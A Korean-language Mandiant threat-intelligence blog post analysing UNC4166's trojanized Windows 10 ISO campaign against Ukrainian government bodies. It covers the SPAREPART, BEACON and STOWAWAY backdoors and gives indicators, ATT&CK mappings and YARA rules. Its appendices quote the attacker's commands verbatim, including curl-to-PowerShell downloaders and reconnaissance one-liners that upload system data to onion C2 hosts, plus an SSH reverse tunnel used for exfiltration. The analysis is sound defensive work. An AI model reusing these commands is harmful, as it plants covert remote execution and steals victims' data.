Blog

윈도우 10 ISO 설치 프로그램에 숨은 트로이목마, 우크라이나 정부를 노린다!

Mandiant Intelligence
Dec 21, 2022
13 min read
|   Last updated: Apr 03, 2023

요약

  • 맨디언트(Mandiant)는 트로이목마가 포함된 윈도우 10(Windows 10 운영체제 설치 프로그램을 이용해 우크라이나 정부를 노린 공격을 식별하였습니다. 위협 행위자들은 토렌트 사이트를 통해 윈도우 10 설치 프로그램을 배포하였습니다.
  • 맨디언트는 이번 활동을 UNC4166 위협 클러스터로 추적하고 있습니다. 공격자들은 윈도우 운영체제 설치 프로그램에 트로이목마를 심어 배포하였는데, 몇몇 피해 시스템의 경우 맬웨어 설치 후 데이터 탈취를 위한 후속 활동을 위한 도구들이 배포되기도 하였습니다.
  • 트로이목마가 포함된 윈도우 10 설치 프로그램은 우크라이나 언어 팩을 사용합니다. 이를 볼 때 우크라이나 사용자를 대상으로 설계된 것이라 볼 수 있습니다. 후속 활동을 위해 타깃으로 삼은 대상에는 우크라이나 정부 기관이 포함되어 있었습니다.
  • 현재 맨디언트는 UNC4166을 이전에 추적하던 위협 클러스터라고 판단할 수 있는 정보가 충분하지 않습니다. 다만 UNC4166의 표적이 러시아-우크라이나 전쟁 초기 러시아 정찰 총국(이하 GRU)가 관련된 위협 클러스터의 공격 목표와 일치한다는 것은 알고 있습니다.

위협 세부 정보

맨디언트는 합법적인 윈도우 10 운영체제 설치 프로그램으로 위장한 트로이목마화된 ISO 파일을 이용해 우크라이나 정부 기관을 노리는 공급망 작전(Supply Chain Operation)을 발견하였습니다. 트로이목마를 숨긴 ISO 파일은 우크라이나어와 러시아어 토렌토 파일 공유 사이트를 통해 배포되었습니다. 손상된 ISO 파일을 설치하면 맬웨어는 손상된 시스템에 대한 정보를 수집하고, 이를 유출합니다. 피해자 중에는 위협 행위자가 추가 정보 수집을 위한 도구를 배포한 사실도 확인할 수 있었습니다. 맨디언트는 추가 페이로드로 STOWAWAY, BEACON, SPAREPART 백도어 등을 발견하였습니다.

트로이목마를 포함한 ISO 파일인 'Win10_21H2_Ukrainian_x64.iso” (MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4)'는 우크라이나 언어팩을 사용하며 우크라이나어를 사용하는 Toloka 사이트 'https://toloka[.]to/t657016#1873175.'에서 다운로드할 수 있습니다(그림 1).

Win10_21H2_Ukrainian_x64.iso
그림 1. Win10_21H2_Ukrainian_x64.iso(MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4)

위협 행위자들의 속성 및 이들이 노린 목표

맨디언트는 트로이목마를 숨긴 윈도우 10 ISO 파일을 이용한 공격들을 UNC4166 위협 클러스터로 추적하고 있습니다. 맨디언트는 윈도우 10 언어팩과 트로이목마가 포함된 ISO 파일 배포에 사용한 사이트를 볼 때 우크라이나 조직을 대상으로 작전이 수행된 것으로 보고 있습니다. 트로이목마를 심은 ISO 파일을 사용하는 것은 새로운 방식이며, 탐지를 방해하는 기능까지 적용되어 있습니다. 이를 볼 때 위협 행위자가 인내심을 갖고 작전을 펼친 것으로 보입니다. 공유 사이트를 통해 배포한 트로이목마를 포함한 ISO 파일이 목표로 삼음 조직의 시스템에 설치되기 까지는 꽤 오랜 시간이 걸릴 수 있습니다.

맨디언트는 이번 위협 활동이 이전에 추적하던 위협 클러스터와 관련되었는지 연결점을 찾지 못했습니다. 다만 이번 작전의 배후에 있는 위협 행위자가 누군가의 명령에 의해 우크라이나 정부의 정보를 훔치려 한 것이라 믿고 있습니다.

  • UNC4166과 APT28과 공격 목표가 일치합니다. UNC4166이 초기 침투 성공 후 후속 활동을 펼친 피해 조직은 전쟁 반발 후 APT28 공격 그룹이 와이퍼(Wiper) 악성 코드를 이용해 공격했던 조직과 같습니다.
  • 공격에 사용한 ISO 파일은 2022년 5월 11일에 만든 'Isomaker' 계정이 'toloka.to'라는 우크라이나 토렌토 트래커를 통해 배포되었습니다.
  • 트로이목마가 포함된 ISO 파일은 윈도우 컴퓨터가 마이크로소프트에 보내는 보안 원격 측정 기능을 비활성화하고 자동 업데이트 및 라이선스 확인을 차단하도록 구성되었습니다.
  • 돈을 벌 목적으로 정보를 훔치거나 랜섬웨어나 크립토마이너 배포같이 금전적 동기가 있다고는 볼 수 없었습니다.

전망 및 시사점

소프트웨어 공급망을 이용하는 작전은 NotPetya 공격처럼 광범위하게 피해를 입히거나, SolarWinds 사건처럼 특정 소프트웨어를 쓰는 타깃에 직접적으로 영향을 끼치는 등 다양하게 활용될 수 있습니다. 따라서 소프트웨어 공급망을 이용하는 작전은 전쟁과 같이 분쟁 상황이 벌어졌을 때 해당 지역의 특정 타깃을 노릴 수 있는 기회를 제공한다고 볼 수 있습니다. 더 자세한 내용은 소프트웨어 공급망 보안에 대한 Google Cloud의 연구 보고서를참조 바랍니다.

기술 부록

맨디언트는 우크라이나 정부 네트워크에서 2022년 7월 12일경부터 TOR 사이트와 통신한 여러 장치를 식별하였습니다. 이들 장치에서 악의적인 예약 작업을 발견하였는데, 이들 예약 작업은 C2(Command and Control) 서버와 연결을 위한 백도어 역할을 합니다. C2 서버에서 응답을 받으면 파워쉘을 통해 실행이 이루어졌습니다. 맨디언트가 수집한 데이터를 보면 공격자는 원하는 데이터 탈취 같은 후속 활동을 위해 피해자를 선택해 침해했다는 것을 알 수 있습니다. 어떤 경우 공격자는 초기 정찰 후 STOWAWAY, BEACON 백도어 등 추가 페이로드를 배포하기도 하였습니다.

  • STOWAWAY는 공개적으로 사용할 수 있는 백도어/프록시입니다. 이 프로젝트는 SSH, socket5와 같은 여러 유형의 통신을 지원합니다. 백도어에 포함된 기능으로 파일 업로드 및 다운로드, 원격 쉘 및 기본 정보 수집 등이 있습니다.
  • BEACON은 C/C++로 만든 백도어로 Cobalt Strike 프레임워크의 일부 요소입니다. 지원하는 기능으로 쉘 명령 실행, 파일 전송, 파일 실행, 파일 관리 등이 있습니다. BEACON은 키 입력과 스크린을 캡처할 수 있고, 프록시 서버 역할도 할 수 있습니다. 또한, 시스템 자격 증명 수집, 포트 스캔, 네트워크에 연결된 시스템 열거 등의 작업도 할 수 있습니다. 이외 특징으로 BEACON은 HTTP, DNS를 통해 C2 서버와 통신합니다.

위협 행위자는 초기 침투 성공 후 후속 활동을 위한 발판으로 삼기 위해 SPAREPART 백도어를 배포하기도 하였습니다.

  • SPAREPART는 C 언어로 만든 백도어로 장치의 UUID를 C2 서버와 통신을 위한 고유 식별자로 사용합니다. 이 백도어는 C2 서버 연결에 성공하면 작업을 다운로드하고 새로 생성된 프로세스를 통해 실행합니다.

세부 내용

감염 벡터

맨디언트는 합법적인 윈도우 10 설치 프로그램으로 위장한 트로이목마를 포함한 ISO 파일을 여럿 식별하였습니다. 맨디언트는 위협 행위자가 이 설치 프로그램을 공개적으로 배포한 다음 피해자가 누구냐에 따라 추가 페이로드 배포 여부를 판단했다고 봅니다.

  • Win10_21H2_Ukrainian_x64.iso (MD5: b7a0cd867ae0cbaf0f3f874b26d3f4a4)
    - 악성 트로이목마를 포함한 윈도우 10 설치 프로그램
    - https://toloka.to/t657016#1873175에서 다운로드

ISO 파일에 대한 포렌식 분석을 통해 위협 행위자가 피해자 계정을 분류할 수 있다는 것을 알아냈습니다.

GatherNetworkInfo 및 Consolidator 작업 일정 수정

ISO 파일에는 변경된 GatherNetworkInfo 및 Consolidator 작업 일정이 포함되어 있었고 파워쉘 다운로더 작업을 위한 보조 작업도 추가되어 있었습니다. 예약된 두 작업 모두 윈도우의 합법적인 구성 요소로 gatherNetworkinfo.vbs 스크립트 또는 waqmcons.exe 프로세스를 실행합니다.

Legitimate GatherNetworkInfo
그림 2. 합법적인 GatherNetworkInfo 작업 구성

변경된 작업에는 파워쉘 명령 실행을 담당하는 보조 작업이 포함되어 있습니다. 이 명령은 curl 바이너리를 사용하여 C2 서버에서 명령을 다운로드한 다음 파워쉘을 통해 실행합니다. 두 인스턴스의 C2 서버는 TOR 게이트웨이에 대한 주소였습니다. 이 게이트웨이는 사용자가 표준 인터넷(onion.moe, onoion.ws)에서 TOR에 접근하는 메커니즘을 보여줍니다.

이러한 작업은 손상된 네트워크에서 후속 행위를 하기 위한 발판 마련을 위한 것입니다. 이 발판을 활용해 UNC4166은 피해자 장치에 대한 정찰을 수행하고 후속 위협을 활동을 할 가치가 있는지를 결정합니다.

Trojanized GatherNetworkInfo task configuration
그림 3. 트로이 목마화된 GatherNetworkInfo 작업 구성

ISO 파일 포렌식 분석 결과 맨디언트는 손상된 작업이 다음과 같이 편집되었음을 확인했습니다. 참고로 분석 시점에서 onion[.]ws C2 서버는 합법적인 웹 사이트로 요청을 리다이렉션합니다.

  • C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator (MD5: ed7ab9c74aad08b938b320765b5c380d)
    • 최종 편집일: 2022-05-11 12:58:55
    • 실행: powershell.exe (curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H ('h:'+(wmic csproduct get UUID)))
  • C:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo (MD5: 1433dd88edfc9e4b25df370c0d8612cf)
    • 최종 편집일: 2022-05-11 12:58:12
    • 실행: powershell.exe curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion.ws -H ('h:'+(wmic csproduct get UUID)) | powershell.exe

소프트웨어 불법 복제 스크립트

ISO 파일에는 SetupComplete.cmd라는 표준 윈도우 배포본에는 없는 추가 파일이 포함되어 있습니다. 이 파일은 윈도우 설치 완료 시 최종 사용자가 장치를사용하기 전에 실행되도록 구성한 배치 스크립트입니다. 이 스크립트는 DeltoidDelta의 remove_MS_telemetry.cmdwiredroid라고 부르던 Poudyalani의 activate.cmd 등 여러 공개 스크립트가 합쳐진 것으로 보입니다. 이외에도 식별되지 않은 OneDriveSetup 비활성화 명령이 추가되어 있었습니다.

이 스크립트는 여러 합법적인 윈도우 서비스 및 작업 비활성화, 윈도우 업데이트 비활성화, 합법적인 마이크로소프트 서비스와 관련된 IP 주소 및 도메인 차단, OneDrive 비활성화 및 윈도우 라이선스 활성화를 처리합니다.

맨디언트는 포렌식 아티팩트를 통해 ISO 파일에 있었던 것으로 보이는 3개의 추가 스크립트도 찾았습니다. 맨디언트는 위협 행위자가 시간이 지남에 따라 이들 파일을 변경한 것으로 봅니다.

  • SetupComplete.cmd (MD5: 84B54D2D022D3DF9340708B992BF6669)
    • 합법적인 서비스를 비활성화고 윈도우를 활성화하는 배치 스크립트
    • 현재 시점에 배포되고 있는 ISO 파일에 포함되어 있음
  • SetupComplete.cmd (MD5: 67C4B2C45D4C5FD71F6B86FA0C71BDD3)
    • 합법적인 서비스를 비활성화하고 윈도우를 활성화하는 배치 스크립트
    • 포렌식 파일 조각을 통해 복구된 파일
  • SetupComplete.cmd (MD5: 5AF96E2E31A021C3311DFDA200184A3B)
    • 합법적인 서비스를 비활성화하고 윈도우를 활성화하는 배치 스크립트
    • 포렌식 파일 조각을 통해 복구된 파일

피해자 식별

맨디언트는 위협 행위자가 손상된 장치에 대한 분류를 수행하여 피해자가 위협 행위자의 공격 목표인지를 판단했다고 보고 있습니다. 피해자 분류는 예약된 작업을 통해 이루어졌습니다. 경우에 따라 위협 행위자는 STOWAWAY, BEACON과 함께 SPAREPART를 추가로 배포하여 지속성을 유지하려 하기도 하였습니다. 위협 행위자는 장치의 UUID를 고유 식별자로 사용해 피해자를 추적할 가능성이 있습니다. 이 고유 식별자는 침해 작업을 다운로드하고 탈취한 데이터를 업로드하기 위해 모든 HTTP 요청 헤더로 전송됩니다. 위협 행위자는 다음과 같은 패턴에 따라 침해 활동을 한 것으로 보입니다.

  • 명령 실행
  • 선택적으로 결과를 필터링
  • Export-Csv 명령으로 결과를 CSV 파일로 내보내고 sysinfo(%system32%\sysinfo) 경로에 씀
  • 선택적으로 데이터를 sysinfo.zip(%system32%\sysinfo.zip)로 압축
  • 선택적으로 데이터를 C2 서버에 업로드(대부분의 경우 이는 다음 비콘에서 실행되는 별도의 작업임)

맨디언트는 위협 행위자가 시스템 정보 데이터, 타임스탬프를 포함한 디렉토리 목록 및 장치의 지리적 위치가 포함된 데이터를 유출하는 것을 관찰하였습니다. 참고로 맨디언트는 위 패턴을 벗어난 명령을 보기도 하였습니다. 이 명령은 위협 행위자가 몇 주 동안 접근할 수 있었던 최소 하나 이상의 장치에서 실행된 것으로 판단됩니다.

  • curl.exe -k
    https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H h:filefile-file-file-file-filefilefile –output temp.zip

temp.zip 실행 증거를 찾거나 파일을 복구하지는 못했지만 분석 과정에서 C2 서버에서 파일 내용을 식별할 수 있었습니다. 이 명령은 위협 행위자가 현재 피해자의 시스템 정보를 수집하는 메커니즘일 가능성이 높지만, 명령을 직접 배포하지 않은 이유는 확실하지 않습니다.

  • chcp 65001; [console]::outputencoding = [system.text.encoding]::UTF8; Start-Process powershell -argument “Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8” -wait -nonewwindow; curl.exe -H (‘h:’+(wmic csproduct get UUID)) –data-binary “@sysinfo” -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe; rm sysinfo

다운로드 명령은 위협 행위자가 하드코딩된 UID(filefile-file-file-file-filefilefile)를 사용하기 때문에 주목할만합니다. 이 UUID는 기본 값일 가능성이 높습니다. 위협 행위자가 명령 자체를 다운로드하기 위해 이를 수행한 이유는 명확하지 않지만 맨디언트는 위협 행위자가 기본 명령으로 사용할 수 있다고 봅니다.

후속 조치

UNC4166은 초기 침투에 성공한 피해자 장치에 가치 있는 정보가 포함되어 있다고 판단할 경우 해당 장치에 대한 후속 조치를 취했습니다. 맨디언트의 분석에 따르면 후속 조치는 세 가지로 구분할 수 있습니다.

  • 데이터 유출 도구 배포(예: TOR, Sheret)
  • 피해자 시스템에 여러 접근 경로를 확보하기 위해 추가로 경량 백도어 배포(예: SPAREPART)
  • 추가 기능 활성화(예: STOWAWAY, BEACON)를 위한 추가 백도어 배포

TOR 브라우저 다운로드

맨디언트는 위협 행위자가 피해자 장치에 TOR 브라우저 다운로드를 시도하는 경우도 관찰하였습니다. 이 경우 curl을 통해 C2 서버에서 직접 파일 다운로드를 시도하였고, 다음 날 torprojects.org 웹 사이트에서 두 번째 TOR 설치 프로그램을 다운로드했습니다.

맨디언트는 피해자 장치에서 TOR 사용을 식별할 수 없었습니다. 따라서 위협 행위지가 이런 행동을 왜 했는지 이유를 알 수 없습니다. 다만 위협 행위자가 TOR를 두 번째 경로로 활용해 C2 서버와 통신하거나 추가 기능을 다운로드하고자 한 것은 아닌가 추측하고 있습니다.

맨디언트는 TOR 설치 프로그램이 일부 백업 인프라에서도 호스팅 된다는 사실을 발견하였습니다. 이는 C2 서버 URL이 동일한 창치로 확인됨을 통해 알 수 있습니다.

  • bundle.zip (MD5: 66da9976c96803996fc5465decf87630)
    • 합법적인 TOR 설치 프로그램
    • https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe/bundle.zip에서 다운로드
    • https:// 56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid.onion[.]moe/bundle.zip에서 다운로드

Sheret HTTP 서버 및 localhost[.]run 사용

위협 행위자가 Sheret라는 공개적으로 사용할 수 있는 HTTP 서버를 배포해 피해자 장치에서 데이터를 빼내려는 시도를 한 경우도 있었습니다. 위협 행위자는 Sheret을 로컬 서버로 구성한 다음 SSH을 사용하여 로컬 장치에서 localhost[.]run 서비스로 터널을 생성했습니다. 최소한 한 번 이상 이 웹 서버가 피해자 장치에 연결된 이동식 드라이브의 파일을 제공하는 데 사용된 것으로 보입니다. 맨디언트는 이 메커니즘으로 여러 파일이 유출된 것을 확인하였습니다.

SSH 터널링에 사용된 명령은 다움과 같습니다.

  • ssh -R 80:localhost:80 -i defaultssh localhost[.]run -o stricthostkeychecking=no >> sysinfo

이 명령은 로컬 장치에서 localhost.run 웹 사이트로 터널을 생성하도록 로컬 시스템을 구성합니다.

  • C:\Windows\System32\HTTPDService.exe (MD5: a0d668eec4aebaddece795addda5420d)
    • Sheret 웹 서버
    • https://github.com/ethanpil/sheret에 공개되어 있고, 누구나 사용할 수 있음
    • 편집 일자: 1970/01/01 00:00:00

여분의 백도어로 SPAREPART 배포

맨디언트는 위협 행위자가 초기 정찰 후 SPAREPART 백도어를 추가로 배포하는 것을 확인하였습니다. 위협 행위자는 '56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid.onion[.]moe powershell.exe'인수와 함께 윈도우 SC 명령으로 '%SYSTEM32%\MicrosoftDelivery Network\MicrosoftDeliveryCenter'를 실행하여 'Microsoft Delivery Network'라는 이름의 서비스를 생성하였습니다.

기능 측면에서 볼 때 SPAREPART는 ISO 파일에 포함된 파워쉘 백도어와 같습니다. SPAREPART는 윈도우 서비스 DLL로 실행되며, 실행 시 작업을 수신하고 명령을 파워쉘 프로세스로 파이핑 합니다.

SPAREPART는 Windows GetSystemFirmwareTable을 통해 SMIBOS 펌웨어 테이블 파싱(parsing)을 합니다. 이 코드는 마이크로소프트가 Github에 게시한 코드와 거의 같습니다. 이 코드는 나중에 C2 서버와 통신하는 데 사용하기 위해 장치의 UUID를 얻기 위해 사용합니다.

SPAREPART formatting of header
그림 4. 헤더의 SPAREPART 형식

페이로드는 명령줄에서 제공된 인수를 파싱합니다. 흥미로운 점은 이 구분 분석에 오류가 있다는 것입니다. 위협 행위자가 페이로드에 단일 인수를 제공할 경우 해당 인수가 URL로 사용돼 작업을 다운로드할 수 있습니다. 그러나 두 번째 명령(예: powershell.exe)이 없으면 페이로드는 나중에 유효하지 않은 인수를 사용해 프로세스를 생성하려고 시도해 명령을 실행할 수 없습니다.

SPAREPART parsing
그림 5. SPAREPART 구문 분석

SPAREPART는 슬립 타이머를 위한 독특한 기능(randomization)이 있습니다. 이를 통해 위협 행위자는 비커닝 타이밍을 무작위로 지정할 수 있습니다. 이 기능은 메모리에 있는 이미지의 기본 주소에서 시작되며, 이 값은 0에서 59 사이의 값을 결정하는 데 사용됩니다. 이 값은 분 단위의 슬립 타이머 역할을 합니다. 백도어가 시작되면 C2 서버에 도달하기 전에 최대 59분 동안 슬립 상태가 됩니다. 이후 요청은 3~4시간 정도 지연됩니다. 10면의 슬립 모드 전환 후 페이로드가 작업을 수신하지 않으면(30~40시간 지연) 서비스가 다음에 실행될 때까지 페이로드가 종료됩니다.

SPAREPART randomizing the time for next beacon
그림 6. SPAREPART는 다음 비콘 시간을 무작위화함

필요한 슬립 타이머가 충족되면 페이로드는 제공된 URL을 사용해 명령 다운로드를 시도합니다. 페이로드는 API의 WinHttp 세트와 하드코딩된 사용자 에이전트 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'를 사용하여 작업 다운로드를 시도합니다. 페이로드는 이전에 형식이 지정된 헤더를 사용해 GET 요청을 수행하려고 시도하며, 응답이 유효한 상태(200)인 경우 데이터를 읽고 이전에 만든 파이프에 씁니다.

SPAREPART downloading payload
그림 7: SPAREPART 다운로드 페이로드

C2 서버에서 유효한 응답을 받으면 페이로드는 두 번째 인수(powershell.exe)를 사용해 새 프로세스를 만들고 다운로드한 명령을 표준 입력으로 파이프 합니다. 페이로드는 파워쉘 백도어와 마찬가지로 위협 행위자에게 응답을 반환하려고 시도하지 않습니다.

SPAREPART executing a command
그림 8: 명령을 실행하는 SPAREPART

맨디언트는 이 백도어 설치를 관찰하였는데, 위협 행위자는 몇 시간 후 작업을 위해 파워쉘 백도어로 되돌아갔습니다. 페이로드의 유사성 그리고 위협 행위자가 파워쉘 백도어로 되돌아간 것을 볼 때 SPAREPART는 기존 백도어가 막혀 접근이 어려울 경우를 위한 대비책이라 볼 수 있습니다.

  • MicrosoftDeliveryCenter (MD5: f9cd5b145e372553dded92628db038d8)
    • SPAREPART 백도어
    • 컴파일 일자: 2022/11/28 02:32:33
  • PDB 경로: C:\Users\user\Desktop\ImageAgent\ImageAgent\PreAgent\src\builder\agent.pdb

추가 백도어 배포

SPAREPART 외에도 위협 행위자가 추가 백도어를 배포한 경우도 있습니다. 9월 초 UNC4166은 페이로드 AzureSettingSync.dll을 배포하고 하나 이상의 장치에서 AzureSync라는 일정 작업을 통해 실행을 구성하였습니다. 일정 작업은 rundll32.exe를 통해 AzureSync를 실행하도록 구성되었습니다. AzureSettingSync는 2022년 8월 26일 자 Let's Encrypt의 SSL 인증서로 2022년 6월 24일에 등록된 cdnworld.org와 통신하도록 구성된 BEACON 페이로드입니다.

  • C:\Windows\System32\AzureSettingSync.dll (MD5: 59a3129b73ba4756582ab67939a2fe3c)
    • BEACON 백도어
    • 오리지널 이름: tr2fe.dll
    • 컴파일 일자:1970/01/01 00:00:00
    • Dropped by 529388109f4d69ce5314423242947c31 (BEACON)
    • https://cdnworld[.]org/34192–general-feedback/suggestions/35703616-cdn–에 연결
    • https://cdnworld[.]org/34702–general/sync/42823419-cdn에 연결

손상된 일부 장치는 보안 솔루션으로 초기 침투를 탐지해 BEACON 인스턴스가 제거되었습니다. 이에 대한 후속 조치로 위협 행위자가 SPAREPART 백도어를 배포한 것도 확인하였습니다.

  • C:\Windows\System32\splwow86.exe (MD5: 0f06afbb4a2a389e82de6214590b312b)
    • STOWAWAY 백도어
    • 컴파일 일자: 1970/01/01 00:00:00
    • 193.142.30.166:443에 연결
  • %LOCALAPPDATA%\\SODUsvc.exe (MD5: a8e7d8ec0f450037441ee43f593ffc7c)
    • STOWAWAY 백도어
    • 컴파일 일자: 1970/01/01 00:00:00
    • 91.205.230.66:8443에 연결

지표

Scheduled Tasks

  • C:\Windows\System32\Tasks\MicrosoftWindowsNotificationCenter (MD5: 16b21091e5c541d3a92fb697e4512c6d)
    • Schedule task configured to execute Powershell.exe with the command line curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H ('h:'+(wmic csproduct get UUID)) | powershell

Trojanized Scheduled Tasks

  • C:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo (MD5: 1433dd88edfc9e4b25df370c0d8612cf)
  • C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator (MD5: ed7ab9c74aad08b938b320765b5c380d)

BEACON Backdoor

  • C:\Windows\System32\AzureSettingSync.dll (MD5: 59a3129b73ba4756582ab67939a2fe3c)

Scheduled Tasks for Persistence

  • C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AzureSync
  • C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AzureSyncDaily

STOWAWAY Backdoor

  • C:\Windows\System32\splwow86.exe (MD5: 0f06afbb4a2a389e82de6214590b312b)
  • %LOCALAPPDATA%\SODUsvc.exe (MD5: a8e7d8ec0f450037441ee43f593ffc7c)

Services for Persistence

  • Printer driver host for applications
  • SODUsvc
  • Get-ChildItem -Recurse -Force -Path ((C:)+’') | Select-Object -Property Psdrive, FullName, Length, Creationtime, lastaccesstime, lastwritetime | Export-Csv -Path sysinfo -encoding UTF8; Compress-Archive -Path sysinfo -DestinationPath sysinfo.zip -Force;
  • Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8
  • invoke-restmethod http://ip-api[.]com/json | Export-Csv -path sysinfo -encoding UTF8

On Host Recon Commands

  • Get-Volume | Where-Object {.DriveLetter -and .DriveLetter -ne ‘C’ -and .DriveType -eq ‘Fixed’} | ForEach-Object {Get-ChildItem -Recurse -Directory (.DriveLetter+‘:’) | Select-Object -Property Psdrive, FullName, Length, Creationtime, lastaccesstime, lastwritetime | Export-Csv -Path sysinfo -encoding UTF8; Compress-Archive -Path sysinfo -DestinationPath sysinfo -Force; curl.exe -H (’h:’+(wmic csproduct get UUID)) –data-binary ‘@sysinfo.zip’ -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe
  • chcp 65001; [console]::outputencoding = [system.text.encoding]::UTF8; Start-Process powershell -argument “Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8” -wait -nonewwindow; curl.exe -H (‘h:’+(wmic csproduct get UUID)) –data-binary “@sysinfo” -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe; rm sysinfo

BEACON C2s

  • https://cdnworld[.]org/34192–general-feedback/suggestions/35703616-cdn–
  • https://cdnworld[.]org/34702–general/sync/42823419-cdn

STOWAWAY C2s

  • 193.142.30[.]166:443
  • 91.205.230[.]66:8443

Trojanized Windows Image Network Indicators

침해 지표

시그니처

56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid[.]onion[.]moe

 

Malicious Windows Image Tor C2

ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion[.]moe

 

 

Malicious Windows Image Tor C2

ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion[.]ws

 

Malicious Windows Image Tor C2

부록

MITRE ATT&CK Framework

ATT&CK Tactic Category 

Techniques 

Initial Access

 

T1195.002:

Compromise Software Supply Chain 

Persistence

 

T1136:

Create Account 

 

T1543.003:

Windows Service 

Discovery

 

T1049:

System Network Connections Discovery 

Execution

 

T1047:  

Windows Management Instrumentation 

 

T1059:  

Command and Scripting Interpreter 

 

T1059.001:

PowerShell 

 

T1059.005:

Visual Basic 

 

T1569.002: 

Service Execution 

Defense Evasion

 

T1027:

Obfuscated Files or Information 

 

T1055:

Process Injection 

 

T1140:

Deobfuscate/Decode Files or Information 

 

T1218.011:

Rundll32 

 

T1562.004:

Disable or Modify System Firewall 

 

T1574.011:

Services Registry Permissions Weakness 

Command and Control

 

T1071.004:

DNS 

 

T1090.003:

Multi-hop Proxy 

 

T1095:

Non-Application Layer Protocol 

 

T1573.002:

Asymmetric Cryptography 

Resource Development

 

T1587.002:

Code Signing Certificates 

 

T1588.004:

Digital Certificates 

 

T1608.003: 

Install Digital Certificate 

탐지 룰

rule M_Backdoor_SPAREPART_SleepGenerator
{
    meta:
        author = "Mandiant"
        date_created = "2022-12-14"
        description = "Detects the algorithm used to determine the next sleep timer"
        version = "1"
        weight = "100"
        hash = "f9cd5b145e372553dded92628db038d8"
        disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."

    strings:
        $ = {C1 E8 06 89 [5] C1 E8 02 8B}
        $ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
        $ = {8B 80 FC 00 00 00}
        $ = {D1 E8 [4] c1 E1 0f 0b c1}
    condition:
        all of them
}

 rule M_Backdoor_SPAREPART_Struct

{

    meta:

        author = "Mandiant"

        date_created = "2022-12-14"

        description = "Detects the PDB and a struct used in SPAREPART"

        hash = "f9cd5b145e372553dded92628db038d8"

        disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."

 

    strings:

        $pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase

        $struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }

    condition:

       (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and

       $pdb and

       $struct and

       filesize < 20KB

}